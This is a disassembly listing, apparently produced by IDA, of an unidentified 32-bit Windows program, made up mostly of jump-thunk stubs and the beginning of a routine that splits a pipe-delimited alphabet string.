; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A810+13p
		jmp	loc_40A950
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B060:loc_41B0ACp
					; sub_41B950+54p ...
		jmp	sub_4198A0
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:004142C5p
		jmp	sub_415490
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF6	proc near		; CODE XREF: sub_4156C0+34p
					; sub_4161C0+67p
		jmp	sub_416360
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_4152F0+3p
					; ___:00415A4Fp ...
		jmp	sub_415D00
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C10
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_413120+4Dp
		jmp	sub_415370
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418E60+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00419103p
		jmp	sub_419170
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BF1Ap
		jmp	sub_40C250
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B15Fp
		jmp	sub_42ADB0
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_4348A0
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:004240B4o
		jmp	loc_423C10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416A6Bp
					; ___:00439F50j ...
		jmp	sub_417A40
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413B70+99p
		jmp	sub_413D40
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B390+3Dp
					; ___:0040BB2Dp ...
		jmp	sub_40B700
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423CA7p
		jmp	sub_423720
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A3Ep
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B350
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F46	proc near		; CODE XREF: sub_4139B0+72p
		jmp	sub_413670
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_418330+5Fp
					; sub_418940+1Ap ...
		jmp	sub_4189B0
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EFA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E400+B5p
		jmp	sub_42D2C0
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B520+4Bp
					; sub_40B520:loc_40B5ABp ...
		jmp	sub_40BE40
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E400
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A430+142p
		jmp	sub_40A810
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415DD0+9p
					; sub_415E70+18p
		jmp	sub_4166D0
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431B30+1Bp
		jmp	sub_431BE0
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_426450+1Dp
					; sub_4269A0+1Dp ...
		jmp	sub_4264C0
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427DC0+1Dp
					; sub_428160+1Fp ...
		jmp	sub_427E30
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429D73p
		jmp	sub_429DA0
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409600+112p
					; sub_409600+153p
		jmp	sub_409940
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_422600+5p
		jmp	sub_422770
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_413670+6Fp
					; sub_413670+DBp ...
		jmp	sub_4152F0
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FAF	proc near		; CODE XREF: sub_415210+5Ep
					; sub_415BE0+32p
		jmp	sub_415B20
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F030
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412B20+3p
		jmp	sub_412B50
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409D20
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_419950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A0E0+3p
					; sub_41B040+9j ...
		jmp	sub_41A110
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_40BCB0+34p
					; sub_40C120+67p
		jmp	sub_40C040
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432690
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F0B0
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_436300
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EDB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F860+5Ap
		jmp	sub_41FF40
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430380

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416A2Bp
					; ___:00439F88j ...
		jmp	sub_417B00
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416D7Fp
		jmp	sub_413120
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421A80+5p
		jmp	sub_421F80
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:00421654p
		jmp	sub_41BFA0
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+472p ...
		jmp	sub_40A670
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433120
; ---------------------------------------------------------------------------
		jmp	sub_41B3D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422370+Ap
		jmp	sub_422650
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7EAp
		jmp	sub_41B950
sub_402022	endp

; ---------------------------------------------------------------------------


loc_402027:				; DATA XREF: ___:off_43E014o
		jmp	loc_40ADE0
; ---------------------------------------------------------------------------


loc_40202C:				; DATA XREF: ___:off_43E088o
		jmp	loc_42BE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: ___:0040ADE3p
					; ___:0040FEDEp ...
		jmp	sub_40AE10
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_424840+109p
					; sub_424840+178p ...
		jmp	sub_424720
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_4098E0+7p
		jmp	sub_4099D0
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416660+Ap
		jmp	sub_416870
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CB10
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EEEBp
					; sub_42FDD0+EAp
		jmp	sub_433030
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421960+5p
					; sub_421A50+6p ...
		jmp	sub_421EF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FF60+8ADp
					; sub_40FF60+95Ep ...
		jmp	sub_411990
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_40C040+7p
		jmp	sub_40C230
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40205E	proc near		; CODE XREF: sub_418940+34p
					; sub_418E90+67p
		jmp	sub_418CA0
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409B10
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	loc_427FC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_417020+2Bp
					; sub_417020+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_4097D0+14p
		jmp	sub_409830
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427AD0:loc_427CDBp
		jmp	sub_4279F0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_426650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_418330+4Dp
		jmp	sub_418A70
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_415160+5p
					; sub_415310+6p ...
		jmp	sub_415CE0
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_426650+3p
		jmp	sub_426680
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B0F0
; ---------------------------------------------------------------------------
		jmp	loc_421620

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416D4Fp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_413670+83p
					; sub_4144D0+91p ...
		jmp	sub_415310
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EF30
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40A9F0+144p
		jmp	sub_40AD00
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FF50+BAp
					; sub_432980+36p
		jmp	sub_4329F0
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421DF0+23p
					; sub_422240+11p
		jmp	sub_4223E0
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_4220E0+4p
		jmp	sub_4224F0
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A810+3BBp
		jmp	sub_42A440
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A212p
		jmp	sub_41A2B0
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_4168C0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B2D0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415C70+4p
		jmp	sub_416490
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F4B6p
					; ___:0042F518p ...
		jmp	sub_4337E0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418D20+8p
		jmp	sub_418FC0
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020E5	proc near		; CODE XREF: sub_418890+34p
					; sub_418D80+67p
		jmp	sub_418BA0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A6D0+117p
		jmp	sub_41A860
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415AA0+35p
		jmp	sub_416570
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+45Cp
					; sub_4066E0+43p ...
		jmp	sub_409BC0
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BD20+5p
					; sub_40BE60+6p ...
		jmp	sub_40C060
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_4190B0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429A33p
		jmp	sub_429A60
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FF60+F3Dp
					; sub_40FF60+1392p ...
		jmp	sub_4147D0
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_4139B0+38p
					; sub_413DA0+5Fp
		jmp	sub_413510
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A130+14p
					; sub_40A160+7p ...
		jmp	sub_40A180
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A150+157p
		jmp	sub_429D00
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40ABE0+1Ap
					; sub_40AC30+1Ap
		jmp	sub_40ACA0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_415600+3p
					; ___:00415E1Fp ...
		jmp	sub_416050
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FF60
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_4147D0+EDp
		jmp	sub_415830
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BE20+3p
		jmp	sub_40C0A0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BEC0+11p
					; ___:0040BEE7p ...
		jmp	sub_40C1E0
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E660+2C5p
		jmp	sub_4207E0
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D830+652p
		jmp	sub_41C070
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40214E	proc near		; CODE XREF: sub_418BC0+32p
		jmp	sub_418E90
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40EC30+ACp
					; ___:0040F35Dp
		jmp	sub_40ED70
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_4137E0+93p
		jmp	sub_433A20
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_4151D0+1Fp
					; sub_415AA0+2Cp
		jmp	sub_415A00
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:0042541Dp
		jmp	sub_4253E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_420530+17Dp
		jmp	sub_4219D0
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: ___:0042C261p
		jmp	sub_42A090
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409B10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40A9F0+6Ap
					; sub_40A9F0+103p
		jmp	sub_40AC30
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_426620
; ---------------------------------------------------------------------------
		jmp	loc_41AC00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+16p
					; sub_407260+Bp ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B000+1Bp
		jmp	sub_432AD0
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415A5Ap
		jmp	sub_4164E0
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F6B0+ABp
					; sub_430690+1Bp ...
		jmp	sub_430700
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EA90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A3	proc near		; CODE XREF: ___:004086B7p
					; ___:004086DCp ...
		jmp	sub_4198C0
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C710
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B520+55p
		jmp	sub_409FD0
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_428220
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021B7	proc near		; CODE XREF: sub_421AF0+34p
					; sub_422410+67p
		jmp	sub_422130
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C610+1B3p
					; sub_41C610+332p ...
		jmp	sub_41D670
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BC70+11p
					; sub_40BEC0+1Fp
		jmp	sub_40BFF0
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_4245F0+1Ap
					; sub_4246D0+1Bp ...
		jmp	sub_424420
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: ___:004169BBp
		jmp	sub_418940
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BB70
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC80
; ---------------------------------------------------------------------------
		jmp	loc_42EE10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_433160+1Bp
		jmp	sub_4331D0
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E400+101p
		jmp	sub_42DD50
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2D0
; ---------------------------------------------------------------------------
		jmp	locret_418840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_433100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_418330+88p
					; sub_418330+98p
		jmp	sub_418A90
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416ABBp
					; ___:00439F0Aj ...
		jmp	sub_417770
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418AE0+5p
		jmp	sub_418D50
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_414640+3p
		jmp	sub_414670
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F2FBp
					; ___:0042FC27p ...
		jmp	sub_430AD0
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_427600
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F840+102p
					; sub_431730+5Dp ...
		jmp	sub_430810
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413510+5Cp
					; sub_413510+C0p ...
		jmp	sub_415460
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_431410
; ---------------------------------------------------------------------------
		jmp	loc_42F170

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D830+203p
		jmp	sub_42D0D0
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E400+148p
					; sub_42E400+173p
		jmp	sub_42DC70
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E1A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_4133D0+34p
					; sub_4147D0+40p
		jmp	sub_4158F0
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CBB0+1A4p
					; sub_40CF60+ADp
		jmp	sub_40CF60
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E220

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422A40+938p
		jmp	loc_423FA0
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A90
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438CE6j
		jmp	loc_40CEE0
; ---------------------------------------------------------------------------
byte_402270	db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A87
		push	offset byte_446F60
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]
		call	sub_401681
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
